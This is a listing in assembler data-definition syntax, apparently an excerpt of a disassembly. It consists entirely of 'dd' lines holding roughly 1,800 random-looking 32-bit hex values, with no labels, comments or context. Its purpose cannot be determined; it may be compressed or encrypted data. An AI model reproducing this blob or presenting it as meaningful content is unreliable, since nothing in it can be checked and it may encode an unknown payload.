		dd 712D36FDh, 782005Fh,	0D39DDBE9h, 4D60053Dh, 0F289356h
		dd 9684DFB2h, 2784AB93h, 0E289ACABh, 36560B01h,	56A315C2h
		dd 66BD8951h, 5077AA6Ah, 0EF013E06h, 0FE59ED92h, 14A68830h
		dd 5D0530E3h, 7A37786Ch, 0D0BD56FAh, 0BE96F010h, 64AC82F7h
		dd 2D85073h, 0F825E3BDh, 78E930ABh, 0ECCF9A80h,	66D9B55Dh
		dd 364008CDh, 0A5B21AAh, 0EEE2E96Fh, 8F1ABC46h,	60FC340Bh
		dd 534EE42h, 0B0CA8057h, 4F48CE53h, 0E101300Eh,	306136C3h
		dd 0D80C5C47h, 497CE66Bh, 4384F304h, 38804D8Fh,	9707558h
		dd 6E5C13Ah, 487D1BD5h,	481A8A7Ah, 0FC208DEBh, 2F6E3092h
		dd 9BDE198h, 0C8C57FC2h, 4DBE31B0h, 26CA2F6Ch, 0CE800076h
		dd 2E033096h, 789E37E9h, 4110F0AFh, 0CC1082Ah, 67E8526Dh
		dd 1F93C47Eh, 0DA7CC69Bh, 32020C29h, 2154C02Dh,	0D7898EC8h
		dd 3E404AA0h, 0ED4FDF62h, 0E9C2053Fh, 99EF96ABh, 6A8A2113h
		dd 0EED9FEB5h, 0E90AF46Ah, 22959FE2h, 8AE04F3h,	0FE300881h
		dd 3E5B902h, 2AB640DEh,	1AE69F02h, 3B2157A1h, 70686220h
		dd 7C189543h, 0A6BD764Eh, 769E05Ch, 910BE6BAh, 0E19BB42Ah
		dd 85F03BD0h, 0FD65E0CFh, 6CE12482h, 65707282h,	0DF518B69h
		dd 0C57D5742h, 0C4519851h, 4681D893h, 5F6AE880h, 0F5317BB0h
		dd 3B4E40FCh, 0C184F164h, 4BF86488h, 0D881A978h, 12252644h
		dd 0B1297DB8h, 0E90801AAh, 0FC547586h, 0AE2768C5h, 4180D704h
		dd 0BE0B6705h, 2FFFD6B8h, 8FBE02C4h, 89E90BA9h,	5A64CB8Bh
		dd 994EA0D8h, 4FA80103h, 0D620478Fh, 770A8206h,	84C89D92h
		dd 5C963568h, 3306FD69h, 0F3F463FEh, 60C9E92Dh,	1EA4B83Bh
		dd 8C1BD769h, 591484F0h, 0C7552B5h, 67402D1Fh, 0B2F80D0Ch
		dd 0CF89D71Dh, 2AB4E7Fh, 237435F5h, 0D840CC61h,	0C00E3472h
		dd 0C2B4052Eh, 0F701501Dh, 7DA10F96h, 874E6AABh, 74EB77D7h
		dd 0A0E7AFAEh, 7C77B05Eh, 8038F461h, 94E041ECh,	0FA519D74h
		dd 0D5C22E67h, 9C8744Bh, 0C47FDD1Dh, 2E6F272Fh,	130CE6F3h
		dd 10522D6h, 7E453FF3h,	3A391A68h, 7F23CD31h, 9F291FF0h
		dd 3012B24h, 1C456E68h,	3874D6D9h, 289BBF4Ah, 25AA7710h
		dd 1F66DD01h, 2823923Fh, 0F1000876h, 5A169A13h,	17B02D58h
		dd 0A83CBB1Ah, 87B0B428h, 12079158h, 0B9C747A5h, 4F25E15h
		dd 0ECB01DDAh, 57169E43h, 0EF2E7AE1h, 2BE2C877h, 40326250h
		dd 0B84E9147h, 5A12986Fh, 0A46ECD27h, 9002A36Ch, 77161215h
		dd 0C0A817FCh, 2AE1AE79h, 43A206F8h, 0C3B70055h, 9D63E82Fh
		dd 6F99D360h, 7F2781DFh, 546B8D2Eh, 5D740F90h, 9079413Dh
		dd 0BF4BEDB1h, 47885704h, 0B4075A09h, 6B6989F2h, 0AB93A8Ch
		dd 0F9A7E985h, 2FCD94EFh, 9EC2B5Dh, 0F3EA55C4h,	0CAF47D89h
		dd 12655772h, 634CA225h, 48750957h, 0C25FD79Eh,	0B4BEF70Ah
		dd 2AC8CC3h, 7105D968h,	399687BDh, 29E9A162h, 0C7497A49h
		dd 4406662Fh, 0A3A05002h, 413F637Dh, 608D840h, 0DF3EFD05h
		dd 9550BA1h, 905F7F04h,	0B7E1E976h, 0D898BBFAh,	961306D6h
		dd 99A2C7FAh, 6BAE727Fh, 62042915h, 0FD24C008h,	5F04512Ah
		dd 6DC4E94Eh, 0A174BADh, 0EC4C29E1h, 43C158F4h,	0D3895FFAh
		dd 96F9A22Fh, 207A9BFBh, 0E9511B01h, 0E48DC2D9h, 69F485BCh
		dd 10F1AB49h, 521DF00Fh, 97501568h, 4C06D381h, 4EE9EC2Dh
		dd 0F5902595h, 0C22F911Dh, 5610A039h, 9593FCE9h, 103C71F9h
		dd 0C10D8D45h, 0C09C07E7h, 9AB8BC6Eh, 0B09ECA20h, 26464A13h
		dd 59FEB03Eh, 0F2893381h, 4DF6215Ch, 37B1A964h,	14ABF97Eh
		dd 86A78617h, 34757B10h, 0BFEE07E3h, 2F3FCC8h, 0B33A1135h
		dd 2662DD29h, 885A3E48h, 0CF25A390h, 7B817E76h,	0ADE98109h
		dd 422876B4h, 8AA0B14Fh, 0AF4945C3h, 0EE742D63h, 6633E872h
		dd 0FF6E9A8Fh, 0E0596B24h, 966390F1h, 71EE8177h, 3B72A912h
		dd 24083850h, 0B02DD5Ah, 5D32150Eh, 5C828BE2h, 0EBEAD7E9h
		dd 0A661225Dh, 0A3682145h, 5A37622h, 3D93358Dh,	26BA19EEh
		dd 0C4B23758h, 0D717ADCEh, 9E77DB36h, 14403850h, 0B43DAB4Ah
		dd 0D15E1968h, 225285Ah, 9046E451h, 325C5E12h, 26744ACEh
		dd 5419D425h, 0CF952C74h, 0D6680438h, 98CCBF42h, 8D661637h
		dd 2E15C271h, 0C0CDFE00h, 53022DE5h, 0E42D6A51h, 0C78103A3h
		dd 106B6E8Bh, 4F9F0C09h, 348905A4h, 0B353E240h,	67F38030h
		dd 36C068Dh, 0C5C95BDDh, 4DC3F0FEh, 0EA3C5ABFh,	0E208CE59h
		dd 305BD803h, 0C5D5A4FDh, 0C360E3AAh, 0E6241C64h, 52002735h
		dd 4B572273h, 9AA025E9h, 0F1732CDEh, 0B3922168h, 1153EBC3h
		dd 94E9E3ABh, 4FB9657h,	0A4FE9CCCh, 5B60965Ah, 6A74F727h
		dd 132127Eh, 13CAEEF9h,	9D8A8340h, 0A5909E2h, 9C72862h
		dd 262FD07Fh, 0C1D92F8Eh, 60A06B41h, 0F149D73Ch, 0FD045F91h
		dd 0B8FA18F8h, 0E2E9F00Eh, 245BD4C9h, 20DD582Dh, 37D96E6h
		dd 0A42D0053h, 256B3831h, 320419B7h, 1187E975h,	0EBC44294h
		dd 4BF113D4h, 732DBF2Fh, 2FEA7B06h, 0E82E7320h,	0FB4EF9E5h
		dd 89884365h, 31464056h
		dd 0FB0E84Ah, 883012DBh, 0D56B000Ch, 0E91921E3h, 0D92B6A27h
		dd 0E7D02CCh, 8FF7CB9h,	55280799h, 0FB035520h, 15BC0D6h
		dd 3FD20728h, 0F05007BDh, 48ED811Bh, 41A11D1Fh,	430CCDD7h
		dd 0B8D5DD64h, 0AB4C5E6Ah, 50702762h, 0C5292CE4h, 0DC3A1C78h
		dd 32657C37h, 4E58ECDBh, 205C29EEh, 4417114Bh, 0FDA109EDh
		dd 4D6B2534h, 0E120BE36h, 4CABF105h, 85BFDF7Ch,	685A45AFh
		dd 0E9C24736h, 0B6A7AB8Dh, 0FF0805CAh, 75E6FA91h, 4907D579h
		dd 0B21F0624h, 73F7964Ch, 29E58E1Dh, 0F6EB9210h, 0D2E9160Ch
		dd 186EC654h, 0C243B3F2h, 0B0B78B01h, 0B074F8ACh, 9D51E914h
		dd 6575003Dh, 0CE310462h, 3681259h, 0C636AC26h,	7010375Ah
		dd 67B12BFh, 20C69D49h,	0C04C6029h, 17BBD771h, 8902A948h
		dd 2744D62Ah, 4A6C755h,	0A74650E9h, 3F09D68Eh, 0D2DB85C2h
		dd 8E60CAA3h, 7D4F45BFh, 0C9E91D3Bh, 0FA4B27h, 6F56F689h
		dd 5CFC1448h, 0DBB74170h, 0F746EB38h, 486DE92Dh, 1E1EE50Ah
		dd 0CB06361Ah, 0A1F94A07h, 0F0512B2Dh, 0CF292DA1h, 0E9050456h
		dd 0E2BAD8FEh, 9F1A301Bh, 0A969FA68h, 216A5461h, 57E6B6Bh
		dd 0CC046885h, 27FC66B9h, 5F14C580h, 60897EE4h,	77407738h
		dd 0B96B0CFBh, 1F0E4676h, 504F3118h, 6FAE20Ch, 0E95203C2h
		dd 9C9F652Eh, 427EB4B1h, 6E761DE6h, 2C181367h, 6E490D88h
		dd 24C02B31h, 0E4E68032h, 5EE39C0h, 680809F6h, 0F7C67DCAh
		dd 9242C526h, 88D2B760h, 0E85B4EFDh, 30361DF1h,	9FCEE0E5h
		dd 0D26CB5FCh, 26644A2Ah, 2CFE545Fh, 735E3045h,	0C8D14DE7h
		dd 0C42D5E4Ch, 6F92A651h, 441594AEh, 0FC4168D9h, 0CDEAC592h
		dd 255DCAEFh, 0EDB226Fh, 24FE7B64h, 40760228h, 0E0807386h
		dd 8C79BF8Eh, 979D50B5h, 720866F3h, 44F32735h, 878766B5h
		dd 50507AAAh, 0C395DFB8h, 6858C129h, 657F3BF2h,	20EA479h
		dd 566D4627h, 2944A57h,	790A3108h, 6A930EDCh, 398FAA13h
		dd 0D4EF067Ch, 0C354531h, 0B555F41Fh, 0C75905EFh, 4800810h
		dd 1AA73C42h, 0A6E02C0h, 84E54E62h, 1CF5060Dh, 0F2095331h
		dd 0D5473056h, 483F2F01h, 5966609Fh, 9BD6140h, 42694FA3h
		dd 4B0C800h, 0C1187510h, 20608EDh, 93E5FE9h, 8CC86856h
		dd 444E815Ah, 96109C36h, 43E962ACh, 542777DCh, 0B670893Fh
		dd 0D7886C98h, 0BE5E0BF4h, 108C10B4h, 2657D42Dh, 0AD13EA55h
		dd 2632CBBh, 75D54C9Fh,	0E63080CCh, 94DEF624h, 22A30516h
		dd 0B032BB5Bh, 0C3EF0504h, 0F3FAC2ABh, 0F60240D4h, 0FE4A25E9h
		dd 14E6097h, 2928456Ah,	0DC49ABEBh, 5C802F2h, 60DB2516h
		dd 0B4D9BC5Eh, 69F080B3h, 0EA874FE0h, 0CE928FFAh, 7DCA012Eh
		dd 0ED645A13h, 333196B6h, 47315D1h, 3ECBC2EBh, 0D3499FF8h
		dd 3FC9129Fh, 2FFDFFD0h, 27DB7B93h, 3092F22Ch, 0EC55D484h
		dd 0C6F15BF0h, 6E272F20h, 0E81224CAh, 2F9D418Bh, 0D4C22D49h
		dd 1C5FAF89h, 6A492060h, 577F6818h, 0B928FC15h,	0BB76A7B2h
		dd 7C21EF82h, 0FC42D572h, 0D3E90701h, 0EA417EDBh, 77185E23h
		dd 0B59FC630h, 0A06496F6h, 605A9AB8h, 3A69BAA4h, 2EFC274Ah
		dd 5F08A272h, 0E0277C52h, 88E25921h, 0C5810641h, 0E409CC18h
		dd 0F3021131h, 0F275094Ch, 0AB1E550Fh, 1BA9FC40h, 0F04B5E1Fh
		dd 7418B799h, 0E90E35CBh, 9D83FD34h, 669A64D2h,	0A713A7D3h
		dd 0F5B8B868h, 0AD4E49DFh, 4DD4B35Fh, 5A2D586Ah, 8086297Dh
		dd 33476A26h, 0FADCC13Bh, 801CD511h, 9953C018h,	9FF2892Dh
		dd 5D93F8D6h, 13B9CAAEh, 0E7324DE6h, 16014050h,	375C2D6Dh
		dd 472DED70h, 2414FFECh, 0E8307595h, 0DB2A685Dh, 4C2DF418h
		dd 0E258A7F3h, 3CB1B6F4h, 0C49F676Ah, 86E5D038h, 0D467F6E1h
		dd 0FAC35708h, 0BA18008Ah, 643F3732h, 5D5E5255h, 0FE4AF4FCh
		dd 9A095524h, 471BD645h, 89AEAAACh, 0BB752182h,	0CC40F24Dh
		dd 4BA04FA6h, 3857EE39h, 0C450D903h, 377E3B4Bh,	72380AD2h
		dd 164209F8h, 20FDE78Eh, 0CE49BC67h, 804BBA58h,	0D232E907h
		dd 0D3F60E7Bh, 298A3BC1h, 536470D1h, 4CC285C0h,	76092B58h
		dd 82AD001h, 0A6BBE90Bh, 3AA0817Ah, 9F0D321Ah, 0B162D57h
		dd 0AE42C47Bh, 0F0C5C3A2h, 7274019Ah, 202E7347h, 0F5BA07F0h
		dd 1A50BE05h, 0C3BE297Eh, 9BF9F502h, 0F58C3B20h, 66EB40B9h
		dd 0F6A6C0B7h, 0B5D99D4Bh, 4E5205CBh, 41C58592h, 83C468EAh
		dd 0B0584A2Ch, 7913387Bh, 0B3FC5B31h, 8E25F294h, 0C7CC187Dh
		dd 80379C28h, 9A2A1D03h, 0DD90D931h, 9BF0140h, 7EE27712h
		dd 72D55E09h, 0DFF626F6h, 5A212DA6h, 0E36AF7EBh, 466281FCh
		dd 7E34E518h, 81DB7D4h,	0C6B06656h, 0A9CA0F80h,	61EDD2F6h
		dd 2E826597h, 3EAD35E8h, 4B09C553h, 409C56AAh, 67DC0938h
		dd 61F5810Eh, 0E97DA151h, 0E035447Ah, 89B3312Eh, 0A7A6F8F8h
		dd 0F68194BEh, 69B60F82h, 26550C82h, 647F1210h,	9A6817AFh
		dd 5CBCCF28h, 32FFA0E8h, 0A8B90551h, 0FB4B534Eh, 5859AA42h
		dd 5A0B8505h, 4150BCC8h, 9FD6E6C9h, 0E3E252C7h,	43AD568Eh
		dd 16125954h, 6E214440h, 4371E282h, 0BF74C46Bh,	2C9B3F0h
		dd 0E9BC56C1h, 74642294h, 71760D25h, 0C5D88ABAh, 912EBC2Fh
		dd 0C828870Dh, 51F80059h, 43817B5h, 2CE81D84h, 3EABDB27h
		dd 201362C8h, 0E53A8DABh, 0D1533EEDh, 0C7C109EBh, 12FC0DD2h
		dd 0A0B8444Eh, 0E54401A2h, 1748EB07h, 0E3607809h, 0C4E44225h
		dd 417766h, 0C0225BBAh,	3F409D23h, 46974388h, 38C7A042h
		dd 0E3164C6Bh, 55DDC602h, 0E0FDF709h, 0A849FE64h, 9D5AD3B0h
		dd 4CC3D5D1h, 4CC79D28h, 9DF1065Ch, 87B2138Ch, 3BCBE913h
		dd 42ECBBD1h, 0C3300C80h, 6E3C058h, 50EBD007h, 18BF91B4h
		dd 819FA3BCh, 0F028DCB6h, 0FB4664Ch, 0EE8031B1h, 0F6475A1Ah
		dd 9C3D1FD1h, 9A26006h,	0A0B0809h, 3F943457h, 0B4CF7CE9h
		dd 5979CE48h, 988AA82Fh, 5D8E78h, 685637CDh, 35D31441h
		dd 5A74E917h, 79EEF90h,	0AC3A4812h, 2062A02h, 0D7C0217Ch
		dd 7AB281A0h, 0E0C1481Fh, 5A8D86Dh, 0C5E53073h,	2D810089h
		dd 28095F1Ch, 551ACB8h,	0C2949307h, 4D08309h, 0AA56593Dh
		dd 6BB49CD0h, 4BFDF17Fh, 5E13FD38h, 7491BA01h, 916FD8F5h
		dd 7D6827FAh, 61167FF6h, 98BF8940h, 0BA41E099h,	12DE8974h
		dd 0FB5BF508h, 0C04B3D9h, 62ADC685h, 91079E48h,	394B7A29h
		dd 9C7CAD7h, 0F5FC800Ah, 5E7E3670h, 14A0B9CEh, 81E2CAB1h
		dd 102D1A49h, 166EB0F5h, 0E384FE55h, 48C0A9EAh,	1FB38195h
		dd 997A3C0Bh, 0A9F7F384h, 1DA40BC5h, 7D1D442h, 8533F1BBh
		dd 0F3613E20h, 0F60474DCh, 0CFAB4B8Dh, 4FD71982h, 0E221E571h
		dd 356C073Bh, 1A5EE20Ch, 0D67624D7h, 0FFC49413h, 0FCEE4DD0h
		dd 88A95133h, 0CC34AE3Ah, 5B4061F8h, 0B39A5E98h, 4E354E20h
		dd 0E98AC8BAh, 99D16A4Fh, 61C053C1h, 50789FE7h,	9ED21EB5h
		dd 6E96122h, 0FD16AD7h,	8404A043h, 6DA1BBCCh, 597E6E3Ch
		dd 880ED826h, 0D76753CAh, 0BFA6552h, 0D39283B0h, 2DF88E80h
		dd 80C12A1Ah, 0D5E5D20Ch, 0ADFDF12Ah, 781356E2h, 538069EFh
		dd 2D420BBBh, 7280216Bh, 3D0D23D3h, 49BAE917h, 54FB88EAh
		dd 0D3405841h, 12A226FBh, 80D15E31h, 7DC30EB9h,	50B1F95Bh
		dd 0B2C2F86Bh, 0C5E90114h, 0A2B37E63h, 64DDA05h, 8170ED43h
		dd 124C310Dh, 0BF8FC6Bh, 0D02DE9F3h, 0E65A5A2Bh, 0DB0B9246h
		dd 4484DE89h, 2D6CFC10h, 0A9A3105Eh, 25EC9979h,	5F9760D4h
		dd 3A855D16h, 360E19ABh
		dd 86203088h, 0E538EB64h, 0BABE99D0h, 20302D62h, 1C0BB27Ah
		dd 0D8D04h, 5CA166D7h, 650B4EDh, 6F82D5E9h, 7A91C207h
		dd 99B4689Dh, 215CFAD1h, 4411C1DFh, 7B5FE36Ah, 0B253240h
		dd 57592B0Dh, 0D6A0E8D0h, 0A0B1700Fh, 0E144D90Dh, 966495F0h
		dd 9DCB4F98h, 0ED4A95Dh, 0EA8067FDh, 55E20BAEh,	53DE108Eh
		dd 497E09C2h, 4EF72CC2h, 8F76BF57h, 0F36AD762h,	0E329B7CFh
		dd 1C75388Bh, 680B8661h, 3B890B60h, 5B11D75Bh, 0F0E43056h
		dd 10DE6F13h, 62C05A1Fh, 72E92B58h, 4AB29C7Ch, 3A63004Fh
		dd 0D7BD1251h, 3DAE905h, 7104DD01h, 0CAAF1320h,	7FB31073h
		dd 8870E9C2h, 399DB45Eh, 2723D8AFh, 0D5D67A9Fh,	0C084B460h
		dd 6870FFE4h, 5AC440EDh, 44777C97h, 52F9076Ch, 448455C7h
		dd 0C1F6B01h, 7FF92E03h, 56FB8034h, 847912A6h, 0B982BF93h
		dd 2692CE04h, 0C83FDEA2h, 12BB1AFFh, 511C597Fh,	91E67A5Ch
		dd 8C32BE62h, 0C2A45B07h, 0B48CECABh, 852BF2AAh, 2CFE6701h
		dd 5A4A47EBh, 4958D8D0h, 9AEFB81Bh, 9D547331h, 4A3F9FA0h
		dd 0C2D220F4h, 0A5491CECh, 0E079BB93h, 9D6CA730h, 805A2C76h
		dd 0EB2DCA44h, 302B9473h, 5F3B206Eh, 0DFA5654Bh, 96230804h
		dd 8406C368h, 0A233F2FEh, 4D69FD5Ch, 90193569h,	5B2637C4h
		dd 0B5510726h, 0E0D3B5CCh, 5E7D53DDh, 78685700h, 5F417059h
		dd 98E750C1h, 2DB79C8Ch, 0F02DABF3h, 1B085h, 81570502h
		dd 112D31E2h, 20F284Ch,	4B067CE1h, 0CE764021h, 250B93BDh
		dd 8F757B82h, 0B3BE57Dh, 3F48ABEFh, 2813402Dh, 9CBA3D34h
		dd 9E2FE9B8h, 613B1A11h, 0F00C229h, 449DA884h, 0CC1C5317h
		dd 98465825h, 48E2CD59h, 190F0577h, 0E502451Ah,	60CC873Eh
		dd 9EBCE068h, 1AE809Ah,	0B2BD73F0h, 9E90BD3h, 8E5DEF13h
		dd 0C0BC1063h, 46247148h, 6BDEAF3Eh, 0F9F1F7E3h, 0D7516559h
		dd 0CE62364Ah, 0AA17C03Bh, 0F950EA0Ah, 5E5B0208h, 5F54B068h
		dd 0B035618h, 36C5D1C0h, 0F6199244h, 0A8994A87h, 0FD099ECCh
		dd 894D54AEh, 357142BFh, 0E8F03F93h, 0B3DA5BF7h, 1B0C6747h
		dd 29EC28A0h, 608A9ED3h, 5B33885Eh, 30BFE4CEh, 0BB85FF48h
		dd 68BF8C6Bh, 18C2F0F7h, 979914B5h, 0BF57E6E0h,	4D4FEE09h
		dd 5025FD7Fh, 0C653BE11h, 83B23DFBh, 0AD5B8636h, 56EFE068h
		dd 0B583B1Ch, 1A11CF02h, 46E13C6Bh, 78373330h, 1ED1AB5Ah
		dd 6A680791h, 2380E1C5h, 84F1EEFBh, 33588063h, 0E906CA66h
		dd 3D3A51F1h, 0BA76EE8h, 5FFE0124h, 27EEA520h, 3363D160h
		dd 0AACCF60Ch, 33DBF54Eh, 70CD2500h, 2F6839BCh,	0BD183D2Dh
		dd 650050F8h, 5AD02148h, 0E040CA35h, 0CC5E9508h, 0F75B0509h
		dd 929F2193h, 0C5574E16h, 965725CDh, 0B311D48Eh, 0E32DF248h
		dd 1EA8EDA0h, 0E59E6F51h, 357230Bh, 0A925F20Fh,	0C82427Ch
		dd 1877BD0Bh, 9EBF677h,	0ED44AF06h, 6B328B09h, 5F3A7526h
		dd 0B6E0C29h, 5E896812h, 0F905CFF3h, 0B8525351h, 0A5E93FEFh
		dd 46BADC6Eh, 3E52B45Fh, 582803D1h, 0E24032EDh,	0BDA4F8A0h
		dd 2A270183h, 58C6E918h, 3F2029E0h, 4325133Fh, 795DB2E2h
		dd 0F493457Bh, 5200E383h, 22B4BE56h, 0FE467251h, 0EC5A5A79h
		dd 0FEEDA078h, 11420907h, 8ABEB89h, 0E917BF5Ah,	98EBE834h
		dd 0F94A7775h, 565E90BFh, 972FDD5Eh, 64017531h,	0E0C926E8h
		dd 3A90EBC1h, 0FD12D25Ah, 4CADCBFEh, 0E9A15F96h, 5FC98F3Fh
		dd 5FE2FD0Ah, 0F9AD3F24h, 340E0BC3h, 0BE3BC7DDh, 0B52E33A0h
		dd 281EC3F6h, 49E08392h, 6C1407BDh, 0A1B968C3h,	307C7DEAh
		dd 1E0EBC57h, 0D72909B6h, 58E19601h, 0BA7C12E2h, 8884A860h
		dd 0F39604FDh, 0BA071A2Bh, 13317E6Eh, 2D2ACA31h, 96F37A60h
		dd 0D849E285h, 4F4F682Ah, 0BAF2A7D1h, 6449A36Eh, 0B8BA9DF4h
		dd 0C1F7E70Ch, 0DC8BDBAAh, 82D1F103h, 8474A35h,	4D880156h
		dd 9242C1Dh, 1AD76CD7h,	0FAC66353h, 0C12D00D2h,	79508F69h
		dd 731374E3h, 1202662Fh, 40F64519h, 185CE68Dh, 0C32300Bh
		dd 5CBD1542h, 33E30626h, 0E12DE659h, 77A0F7C8h,	1153848h
		dd 31E1FB4Ch, 0DDF71A9Bh, 2E0BDDh, 0A53BB79h, 579D4390h
		dd 814BF320h, 6F58F4F3h, 8CAC5E72h, 50C82905h, 0F1D0C059h
		dd 1C34634Dh, 0E0AFA040h, 0CE4C0102h, 0C5732780h, 0F40912D0h
		dd 0FF95D8F2h, 15B31420h, 1A0BF380h, 0B02EBC0h,	0FE734113h
		dd 70694030h, 94FF956Ah, 0C2639E24h, 28DC94F7h,	7D4CB796h
		dd 26686CADh, 0C7713E19h, 3598411Ah, 0A3FC3A05h, 34230F75h
		dd 0C2545369h, 0FC44E987h, 0D813BD38h, 680CC252h, 3354D37h
		dd 657233B6h, 7DE2C329h, 45EF4178h, 698BFFFAh, 8003AE40h
		dd 1A4FE943h, 0D6CB7940h, 604843Ch, 5DBFB951h, 0D1262895h
		dd 0B620A0C1h, 0A0CC8FCh, 3CCB010Eh, 7B5D81DAh,	517D8Ch
		dd 64056850h, 355873A9h, 6E1EA006h, 244A891Dh, 44432FC7h
		dd 0BA399072h, 0CA481449h, 6A0C732Dh, 0C28606Ch, 0B03F417h
		dd 0CFB2E93Eh, 41153ABh, 0BEF054D0h, 5A065D68h,	0A900AC4Eh
		dd 55194026h, 64409A54h, 811C4D9Eh, 750B39F5h, 0DF94E25Bh
		dd 76993B68h, 55BB6082h, 25410D73h, 8204DFF7h, 0E1E2114h
		dd 1305D45Ah, 0F1A18052h, 6EFBF061h, 70553B1h, 5701368Bh
		dd 0E955F789h, 48B53C3Ah, 0A96909F1h, 2000D746h, 0B1BD8CEh
		dd 12375248h, 7CE87D42h, 1727CF90h, 0F0AC16D3h,	0AA125525h
		dd 5B4AF500h, 0BE1D25C1h, 2D96CE1Fh, 0E017A6BCh, 0B4BB6276h
		dd 8357DD69h, 0F2074E36h, 49182F4Ch, 75E98B51h,	112D9864h
		dd 9F8793Bh, 5BA3312Ah,	0EE845883h, 0AAB4C6ECh,	4A2713E3h
		dd 0C9BA0980h, 7F5C463Fh, 0F70505C8h, 978242D2h, 8F1A5E66h
		dd 4F2F0FDCh, 0A275D0CBh, 0DAB935C8h, 95072D20h, 0A551D520h
		dd 892FC97Ch, 0A5B273CBh, 53804280h, 7BBD6742h,	910CA04Ah
		dd 82EC09B1h, 68D76CA0h, 97BB1332h, 8CA74F01h, 0CCFE29B2h
		dd 76195CCh, 73FC7E31h,	0F96E17A5h, 0D5F34052h,	0FC2DACBCh
		dd 0E9137635h, 78CC238Dh, 0E3415B3Ch, 0D6F1084h, 83995535h
		dd 0BD274606h, 0F13E09FDh, 7DB2625Ch, 0E2C28802h, 0D7A64A3Ah
		dd 0E96123F9h, 886FF05Fh, 0D88105FEh, 0BDF80CD4h, 0A7B8E050h
		dd 0C1B6B9D9h, 11BB3081h, 61DC4006h, 0D3623A1Fh, 52BEA558h
		dd 6F1D1FBBh, 0BE57238Bh, 85C95E42h, 0A0C4FFC8h, 0D6F2A3AEh
		dd 57B9C8FAh, 0A6581790h, 1E13DEC7h, 0C32A6DC4h, 98CB311Ch
		dd 0E95008D9h, 0A259D62Fh, 74FA9122h, 4C2D62C5h, 6809DFE5h
		dd 55BF4229h, 0E961D3F9h, 8C2D5019h, 12D58250h,	0A9B9DB7Dh
		dd 0E07C509Fh, 0AE3A944h, 54107220h, 9C320B3Bh,	175F3DB2h
		dd 9C552F3Ah, 2DC6041Ch, 0AF7C5D42h, 800F2B1h, 5BB06858h
		dd 930FE24Eh, 0E62A1EEDh, 0C72D008Eh, 0D4F354Dh, 9A3B39A5h
		dd 0AA69821Dh, 0C03184ACh, 0CE51C679h, 86E4FA75h, 255BCDB3h
		dd 0A082CCC5h, 21F0AB09h, 9F7A7FF8h, 0CF6EFC9Dh, 3F1BFBADh
		dd 0C72C07C5h, 737825E9h, 6C9F279h, 3E9385h, 21F14B8h
		dd 18EC2D06h, 0C2D9212Ah, 0F38E6827h, 64F1027Dh, 0F4426D80h
		dd 0C09FA164h, 72289447h, 0A1577CAEh, 2A605FAEh, 664A02E5h
		dd 0C89EE91Eh, 804AF0F4h, 4B4479A7h, 5231BA74h,	0A670430Ch
		dd 0B80FD3E6h, 71A64B99h, 0AA41DF17h, 698E3D21h, 5B1DA805h
		dd 926001CBh, 7B452F64h, 5BFACA1h, 391C06AAh, 5E970E2Eh
		dd 0EB62703Dh, 0A5E2D883h, 9D33B7Fh, 2AD4EA02h,	0C2D5F777h
		dd 0FFE25738h, 849CB0DDh
		dd 0A45D25DCh, 97E9B581h, 9B42DC9h, 82AB6372h, 71422F7Ah
		dd 253089EBh, 2C938371h, 0FDBBE3C4h, 58C8B4A9h,	2F11BCFCh
		dd 0A26F2EF7h, 0DD505AD1h, 0F4CFFFC1h, 0F4FC5BFEh, 0E91251F6h
		dd 0F9F856B2h, 0F61B4D2h, 8B30C87Fh, 0F7661E4Dh, 0AF70E7D9h
		dd 0BF9E7827h, 0BC96370Fh, 507F7DD3h, 28A0B81Fh, 0B3C7298Fh
		dd 38CECEBFh, 0B1F95802h, 28015F2Bh, 70E6F1D8h,	0BEB2B528h
		dd 824E0A02h, 57C15F1Ah, 0E3066942h, 0BA1D9BCEh, 0BE0602ADh
		dd 827E5507h, 59A07DC9h, 1FE9A4B9h, 0A59D684Fh,	0B600472Ch
		dd 0E9347761h, 52CB5B5Ch, 0A2CD5554h, 1D356884h, 13968F98h
		dd 0BB094A30h, 5AF7E3F4h, 9CCE8DBh, 46C97Fh, 863DAFEFh
		dd 2184C113h, 7FC89CE6h, 9CBD6D85h, 2080DA3Fh, 47BD5575h
		dd 4F48F804h, 63B00647h, 0BF24D1CBh, 69290B27h,	0E3E8D082h
		dd 35D9DF09h, 0CCC35745h, 0FCD95A82h, 585CE1EDh, 0C3029F22h
		dd 4C0E7FFDh, 88E2857h,	4571C30h, 310DC17Ch, 2017F15Bh
		dd 77F2685h, 581E594Ch,	19E04ABBh, 0B531D41h, 54FFD5Eh
		dd 0FAC38D34h, 916DF48Dh, 35445E78h, 0AE9012A1h, 140194C3h
		dd 1358081Ch, 0A717BB4Ah, 0C7F829C4h, 0C1DA22E4h, 5FC6F055h
		dd 947AE258h, 6494117Fh, 854B9790h, 0DB7FE44h, 49B1497Eh
		dd 93A45B30h, 134F104Ch, 4905A1ECh, 0D0212746h,	0DBB205E3h
		dd 0E91CE509h, 9D215040h, 68C40C7Eh, 0A92EDDB1h, 8AAFB422h
		dd 50E909AFh, 9135A4Dh,	33656496h, 1B06CD00h, 9090232Eh
		dd 97057795h, 0C68D715Bh, 34A27B02h, 9149BBC4h,	6B0E8BB7h
		dd 0B1D01037h, 5FF928CCh, 2FD3E85Bh, 35AE6108h,	5FC4ED3Fh
		dd 0C589F2A2h, 0E917FCD2h, 0F6D4EDF7h, 9F5CE9AFh, 85C77BD7h
		dd 0B551CB00h, 0F580059Eh, 70EB28E4h, 0E959662Dh, 4104155Bh
		dd 87BF9CB2h, 337327EEh, 607E3C2h, 5F1CE912h, 6C36DF0Bh
		dd 4E0EC025h, 42055E16h, 0F45EE996h, 0C02D36D3h, 2C3B459Fh
		dd 336911h, 4FF66588h, 0EBB4E2D1h, 820DC802h, 0F5E65514h
		dd 6B7C5C97h, 413C7D5h,	0F43631E9h, 284BC39Ah, 17D11541h
		dd 0D0018CBh, 3E0246D7h, 56932D4Eh, 683FE052h, 0A1EC2798h
		dd 3813BFD0h, 0AC1F0C05h, 62FAC667h, 215A6B10h,	0C9CFFAFCh
		dd 467AC2D1h, 0A6BA1DC7h, 1E3CBDAh, 693B5C82h, 53642276h
		dd 106E3AEFh, 5013AC7h,	76864C99h, 2850D848h, 0A2117925h
		dd 775DF47Fh, 8ECB7B4Ch, 0FDE3CABDh, 0CBB726CBh, 18912D7Dh
		dd 589DF46Eh, 0DFC8292Dh, 57519590h, 1917D6FCh,	5041335Fh
		dd 20A563CEh, 0BD6E7161h, 7902E1Ch, 0FE895304h,	0F341E0A3h
		dd 0D6EF206Ah, 914F57E9h, 85BFCF56h, 0B123E84Ah, 66027121h
